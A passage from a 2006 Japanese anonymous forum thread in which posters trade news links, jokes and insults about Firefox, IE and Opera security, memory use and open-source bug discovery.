オープンソースにしているからといって、皆がソースを読んで不具合を
調べてくれるかといえば、実際にそうしてくれる人は極めて少数です。
これはプロジェクトの規模が大きいほど見られる可能性も減ります。
せいぜい、動作中に目に見える動作不良に遭遇し、その原因を調べるため
ソースを解析するくらいがほとんどで、動作的不具合を発見するだけなら
オープンソースである必要は無いわけです。

ある有名なオープンソースソフトで、世界中で多く利用されている
ソフトの配布サーバが不正侵入され、そのソフトに悪意のトロイの木馬を
仕掛けれらた時、発見者はソースを眺めて発見したわけではありません。
make して起動したら怪しい動作をしたので、以前ダウンロードした
古いソースとdiffを取ってみて改変部分を見つけ、発見したわけです。
この場合改ざん箇所まで調べてからの通報だったわけですが、
クローズソースでも怪しい動作をした段階で開発元に通報は出来ますね。

また、不具合発見者が必ずしも善良な人物で、かつ協力的であるとも限りません。
コミュニティには一切明かさず、自分が悪用する可能性も否定できません。

240:名無しさん＠お腹いっぱい。
06/02/09 20:57:54 9h1YG8Qu0
>>239
思いっきりソースが公開されてた場合のdiffの便利さを語ってくれたわけだが

241:名無しさん＠お腹いっぱい。
06/02/09 21:04:25 zhQy6uoq0
>>239
URLﾘﾝｸ(slashdot.jp)

242:名無しさん＠お腹いっぱい。
06/02/13 23:53:45 Ns/DJwp30
Firefoxはシェアが少ないから脆弱性があまり見つからないと
言う人に言いたい。
ちゃんとなんかしらのソフトウェアセキュリティ会社によって
しっかりテストされている。たとえばSecuniaとか。

243:名無しさん＠お腹いっぱい。
06/02/16 23:37:24 G7bYbbqj0
セキュリティとは違うけどFirefoxは最近メモリー使いすぎる気がするけど
他の人はそんなことない？

244:名無しさん＠お腹いっぱい。
06/02/17 03:18:37 EbbS7t+G0
>>242
本当だね（プ
おかげでボロボロ出てくるよねｗ

Firefoxのセキュリティ・ホールを突くプログラムが出回る：IT Pro
URLﾘﾝｸ(itpro.nikkeibp.co.jp)

信者乙とだけ言っておくｗ

245:名無しさん＠お腹いっぱい。
06/02/17 09:33:00 LmVp5csQ0
>>229
禿げ堂!

今のままじゃIEを使うしかない!

246:名無しさん＠お腹いっぱい。
06/02/17 17:45:42 EUW8UOnC0
>>244
英語が読めない、キモいニートか引きこもりは
IEでも使ってれば良いんじゃない？別に。
スパイウェアでもウイルスでもなんでも入れられて
リカバリーする羽目になればいいと思うよ。
キモイ顔して秋葉原とか歩いている独り言多い池沼君は^^

247:名無しさん＠お腹いっぱい。
06/02/18 06:34:51 K/A08URZ0
>>246
反論できなくなると人格批判に走るってホントだったんだなｗ

248:名無しさん＠お腹いっぱい。
06/02/18 15:57:25 mbVHgmCk0
>>247
どうせ図星なんだろｗｗｗｗｗ
ﾌﾟｯｗ

「～するってホントだったんだな」みたいなこと言うのは
ほぼ自分に当てはまってるからだってよｗ

249:名無しさん＠お腹いっぱい。
06/02/18 19:37:48 zMHwgFo20
火狐geek必死だなWWWWWWWWWWWWWWWWWWWW

250:名無しさん＠お腹いっぱい。
06/02/18 19:39:52 zMHwgFo20
150 名前：名無し~3.EXE[age] 投稿日：2005/12/08(木) 18:38:40 ID:lRynS6c9
米SANS Instituteは8日、Webブラウザ「Firefox 1.5」にブラウザをハングアップさせる
脆弱性が発見されたと報告した。

　公開された情報によれば、この脆弱性はFirefoxのページ履歴を管理する「history.dat」という
ファイルの扱いに問題があり、JavaScriptなどを用いることでバッファオーバーフローを引き起こさせるというもの。

一度この操作が行なわれてしまうと、再度Firefoxを起動しても即座に
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ハングアップしてしまい、Firefoxが使用できなくなってしまう
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

　すでにこの脆弱性の検証コードも公開されており、現時点では有効なパッチなどは公開されていない。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

URLﾘﾝｸ(internet.watch.impress.co.jp)

251:名無しさん＠お腹いっぱい。
06/02/18 19:45:44 mbVHgmCk0
>>250
解決済み

252:名無しさん＠お腹いっぱい。
06/02/18 20:55:31 dJeUsJ8X0
なんで馬鹿はいつもいつも解決済みの虚弱性を載せるんだろうな。

253:名無しさん＠お腹いっぱい。
06/02/18 21:00:03 pueCqAMY0
虚弱性？

254:名無しさん＠お腹いっぱい。
06/02/18 21:13:06 9+5paLk40
ワロスｗ

ITはこんな奴ばっかｗ

255:名無しさん＠お腹いっぱい。
06/02/19 11:22:46 R3dw9B3a0
火狐厨よわっ

256:名無しさん＠お腹いっぱい。
06/02/19 14:40:25 iFlMp1Iu0
永田「IEは世界の90%の人に使われてるから安全です！」
武部「・・・」
永田「早く認めたらどうなんですか」
小泉「いや、先に被害数を見せろよ」
永田「この資料だけは、最大限守ってあげたい」
小泉「ホントはまだ被害がいっぱい起きてるんじゃないの?」
永田「どのようにして、その先入観を打ち破る事が出来るのか。本当に悩ましい」
安部「なんか中国系のページでウィルスに感染したって聞いてるんだけど」
永田「この一方的な攻撃。この風景。こんなところに資料を公開したらかなわないと感じるのは当然」
小泉「だったら安全なんて言うなよ」
永田「一言聞いただけでガセだと決め付ける、言論封殺、もっとも恥ずべき行為」
安部「今までに長い間放置されてから修正されたセキュリティーバグがどれほどありましたっけ?」
永田「どのような条件をクリアすればIEは安全と認める事ができるのか、知恵を貸してください」
小泉「おまえが安全って言ってるんだろうが」

257:虚弱性あげ
06/02/19 15:12:32 JTP48Lze0
なんで馬鹿はいつもいつも解決済みの虚弱性を載せるんだろうな。
なんで馬鹿はいつもいつも解決済みの虚弱性を載せるんだろうな。
なんで馬鹿はいつもいつも解決済みの虚弱性を載せるんだろうな。
なんで馬鹿はいつもいつも解決済みの虚弱性を載せるんだろうな。
なんで馬鹿はいつもいつも解決済みの虚弱性を載せるんだろうな。

虚弱性
虚弱性
虚弱性

火狐厨って馬鹿？

258:名無しさん＠お腹いっぱい。
06/02/19 15:37:12 iFlMp1Iu0
>>257
いつものネタだろ?是だから新米は(ry
↓いつもの虚弱体質のクマのAA

259:名無しさん＠お腹いっぱい。
06/02/19 16:30:10 3ZSVpX6g0
　　. ∩w-wwwW;
　　; | ノ|||||||ニニヽ
　,　/　●　　　● |
　;, |　＼( _●_) /　ミ　　　呼んだ？
;　彡､　| |∪|　 |､＼ ,
./　　　　ヽノ／´>　) :
(＿ﾆﾆ>　　/　(／ ;
;　|　　　　　| ;
'　＼　ヽ/ / :
,　／／＼＼ .
;　し’　'　`|　|　;
　　　　　　⌒

260:名無しさん＠お腹いっぱい。
06/02/20 05:29:53 2dl7Zh400
>>258
虚弱性と書く馬鹿信者乙

261:名無しさん＠お腹いっぱい。
06/02/20 10:14:05 UlBV2liG0
火狐厨ざこっ

262:名無しさん＠お腹いっぱい。
06/02/20 18:45:51 t0eImsqp0
　　　　　　　　　　　　∧＿∧
　　　　　　　　　　　 / 　　　ヽ
　　　　　　　　　　　 |　｀　　´| <My name is FireFox.
　　　　　　＜>○<＞＼=　o/
　　　　　　／/　ヽ＼⊂￣ , ヽ
　　　　　 / MSIE 　ヽ￣　ヽ
　　　　　/,　MSIEヽ　 ,ゝ　　|＿＿＿, ヘ
　　　　　|　　MSIE 　)（　　　|　　　<　　 |
　　　　　ヽ　＿＿＿ノ_と＿ノ＼＿<＿ノ

263:セントラル
06/02/20 18:48:09 ZsJVz+zM0
はいっ！

264:名無しさん＠お腹いっぱい。
06/03/03 13:16:01 nx3klUGu0
【ネット】無償ブラウザー「ファイヤーフォックス」のモジラ、日本で攻勢
ｽﾚﾘﾝｸ(newsplus板)

265:名無しさん＠お腹いっぱい。
06/03/11 15:49:38 cQKR6Sza0
FirefoxをFFと略しているのはあまり見ないな。

カタカナにしても何も変わらないけどそうするしかないのだろうな。
「OS -> 基本ソフト」みたいなものか。
記者という職業も大変だな。

266:名無しさん＠お腹いっぱい。
06/03/11 16:44:30 9vvvsHMZ0
オタのゲームみたいになるからなｗ

いいよ火狐で

267:名無しさん＠お腹いっぱい。
06/03/12 20:19:36 4l9F0SNe0
で、拡張プラグイン機能って何？

268:名無しさん＠お腹いっぱい。
06/03/19 00:45:45 U3Or1tMQ0
FireFoxのバージョンを1.5.0.1に上げたのだが、ブラウザに何も表示されなくなった。
Norton Internet SecurityのFirewallのせいだ。無効にすると表示される。
これはファイアーウォールのプログラム設定だと思い、FireFoxのアクセス設定を
「自動制御」から「すべて許可」に変えようとしたら、Norton Internet Securityが応答
なしになってしまう。

もう10回以上試したが、何回やっても結果は同じ。
「自動制御」とはSymantecが安全であると識別したインターネットプログラムのバー
ジョンのみを設定していると書いてあった。
SymantecはFireFox1.5.0.1を安全でないと識別しているのか？？

しかも手動設定変更の道も閉ざされているなんて・・・。

269:名無しさん＠お腹いっぱい。
06/03/20 12:12:33 I2ZXszE60
誘導

firefoxにがっかりした人の会。 part5
ｽﾚﾘﾝｸ(software板)

Mozilla Firefox Part55
ｽﾚﾘﾝｸ(software板)
Mozilla Firefox質問スレッド（初心者歓迎）の29
ｽﾚﾘﾝｸ(software板)

270:名無しさん＠お腹いっぱい。
06/03/20 13:01:55 S3SbO4g70
IEよりはいんじゃない？
Operaがどうかは知らん。
とりあえずFirefox使ってる。

271:名無しさん＠お腹いっぱい。
06/03/26 17:38:00 MFx2Cbm00
>>268
オムツ取れてからつかおーね

ｗ

272:名無しさん＠お腹いっぱい。
06/03/27 00:23:31 Fs/uzxtH0
IEってシェア一位だからこそ狙われるんでそ？
使い勝手ではOperaかfoxの二択になるんだが、今ならどっちがいいのかねぇ

273:名無しさん＠お腹いっぱい。
06/03/27 11:48:33 FSaWLStc0
>>272
どんなブラウザを使っていたって、使う人間がアフォならだめだろｗｗｗ

274:名無しさん＠お腹いっぱい。
06/04/09 00:20:44 tEg2fE5F0
>>273
つまり藻前じゃだめだってことｗｗｗ

275:名無しさん＠お腹いっぱい。
06/04/19 10:58:47 9BNsHLmt0
Firefox を使ってるが、起動が遅い。
Win休止状態からの復帰は、最悪でタコ。
レイアウトがIEに最適化されているのが多いから、
いまだもって、各ＨＰは、見づらい。
今では、セキュリティも５０歩１００歩って感じ｡

またIEに戻すか、Opera に戻すかな。
IEは使いづらいので、Operaやな。

276:名無しさん＠お腹いっぱい。
06/04/19 11:58:28 K6NCq9MD0
まーたopera信者かｗ

277:名無しさん＠お腹いっぱい。
06/04/30 00:13:59 sUXsweoh0
今時オペラ使ってる馬鹿まだ居たのかw

278:名無しさん＠お腹いっぱい。
06/05/18 05:33:24 RUc1Ez9S0
学校でGyaoの話とかしていたら
話したこともない女子が「うわー。モデルとか出てるんだ。なにこれー」って近づいてきたから
「このサービス、おもしろいよ。見てみる？」って言って隣の席に座らせて一緒に見出したんだ
そしたら、俺の好きな女子がゆっくり近づいてきて「○○（俺）くん。私も隣に座っていいかな？」って言って座ってきた
マジでドキドキしてキョドってたけど、その子はニコニコしながら俺のほうに身を乗り出して画面を見てた
んで、気づいたら俺の席のまわりがクラスの女子だらけになってて、憧れのテニス部の先輩も遠くからこっちを見てた
マジ。あれは天国かなんかだと思ったね。

で、クラスの男子が教室の端っこで恨めしそうな顔しながらMozillaだFirefoxだってやってんのｗ
キモオタのグループも端っこでブツブツ言いながらバグジラに報告とかやってんだよｗｗｗ
マジ最高。Gyaoとかサービスのおかげで童貞も捨てられたし、いつも俺はハーレム状態
ブラウザオタクではなく、ネットで提供されるサービスに詳しくて本当に良かった。ほんとーによかった。おわり

279:名無しさん＠お腹いっぱい。
06/05/27 21:55:30 8c7zMSMy0
ワッフルワッフル

280:名無しさん＠お腹いっぱい。
06/07/17 13:09:40 EvdSRTWW0
ピーターノートンは昔microsoftの堤燈持ちだったような気がする

281:名無しさん＠お腹いっぱい。
06/07/17 20:34:50 HycW70Pp0
と言うか、HP見づらいのOperaも一緒じゃんｗ
むしろ、最近はFirefox対応サイトも増えてOperaだけが取り残されてるぞｗ

282:名無しさん＠お腹いっぱい。
06/07/17 21:31:41 8oB8jQEPP
HP

283:名無しさん＠お腹いっぱい。
06/08/06 20:04:26 qbBHYmLa0
Firefoxは重過ぎウンコだし
Opera言われるほど安全じゃないと気づいて
開き直ってプニル使いになるのが
雑魚タブブラウザー使いの基本的な一生。

284:名無しさん＠お腹いっぱい。
06/08/08 17:37:09 XtW7fVo50
>>283
Firefoxが重いんならプニルも同じじゃないか？
余計な拡張入れすぎなバカならともかく
プニルと同等の性能を発揮するための拡張なら
そう重くは無いけどな。
IEと比べれば流石に重いけどな。
どっちにしても今時のPCはブラウザ如きで重さはあまり実感できん。
ネスケみたいな余計なもの付まくりなものを除けばな。

285:名無しさん＠お腹いっぱい。
06/08/09 05:12:11 xEnYXKyb0
FirefoxPreloader使うと、起動が早くなるよ。→使わないと起動に８秒かかる。
でも本体と一緒に常駐するから、メモリは最低512MBは必要…
常駐しているので、掲示板で書き込んでも何故か反映されない。
させるには更新ボタンを押す。一回閉じて、もう１回掲示板を見ると、
またもとに戻っていて、もう１回更新ボタンを押さなきゃ…
あとアップデートするときには、タスクマネージャでPreloaderごと強制終了させないとエラー起こすし…

286:名無しさん＠お腹いっぱい。
06/08/09 21:52:19 jHCOTB0O0
なんかすごいな。

287:名無しさん＠お腹いっぱい。
06/08/10 02:23:59 gI0//qhI0
>>284
> 余計な拡張入れすぎなバカならともかく

この時点でお前が馬鹿だという事がわかった

288:名無しさん＠お腹いっぱい。
06/10/02 15:53:43 hjMrNgZA0
FirefoxのJavaScript実装に大量の脆弱性 - 迅速な対応が困難な場合も
URLﾘﾝｸ(japan.cnet.com)

>「Firefox」について、2人のハッカーが米国時間9月30日午後、JavaScriptの扱いに関する重大な脆弱性があると指摘した。
>同氏によると、FirefoxのJavaScript実装は「まったく無秩序」で「パッチを当てることは不可能」だという。
>ハッカー達は、パッチが公開されていないFirefoxの脆弱性を30くらい知っていると主張している。

289:名無しさん＠お腹いっぱい。
06/10/03 12:27:44 n/Mush0c0
同氏は、Mozillaの側でも、脆弱性を修正するのに十分なデータをプレゼンテーションで得ただろうとしつつ、
ブラウザでJavaScriptを扱う部分に脆弱性の可能性があるようなので、平均的なパッチに比べて解決が困難かもしれないと付け加えた。
同氏は「もし脆弱性がJavaScriptバーチャルマシンにあるのならば、素早い修正にはならないだろう」と述べた。

290:名無しさん＠お腹いっぱい。
06/10/03 18:16:50 ojuc02iN0
まあ、”狙われにくいという状況”がセキュリティにおける唯一の取り柄だからな。

291:名無しさん＠お腹いっぱい。
06/10/04 12:55:51 r7N1TU090
>>288
「実はマシンの乗っ取りはできなかった」--Firefoxの脆弱性指摘者、前言を撤回
URLﾘﾝｸ(japan.cnet.com)

　「話を面白くしたいと思って、あのような話をしてしまった」とSpiegelmock氏は述べた。
「すべての関係者の方に謝罪する。現在、わたしは出来る限りにおいてすべての情報をはっきりさせたいと思う」（Spiegelmock氏）

292:名無しさん＠お腹いっぱい。
06/10/08 18:33:40 9D9dNr1w0
スパゲティなのは否定しないのな…

293:（　´,_ゝ`）ﾌﾟｯ
06/11/22 23:49:05 0MfZ9QQC0
Firefoxにセキュリティ・ホール、記憶させたパスワードを盗まれる恐れ
URLﾘﾝｸ(itpro.nikkeibp.co.jp)

294:名無しさん＠お腹いっぱい。
06/12/10 16:39:42 jop7+sDP0
IEにも同じセキュリティホールが存在するわけだが。

次ページ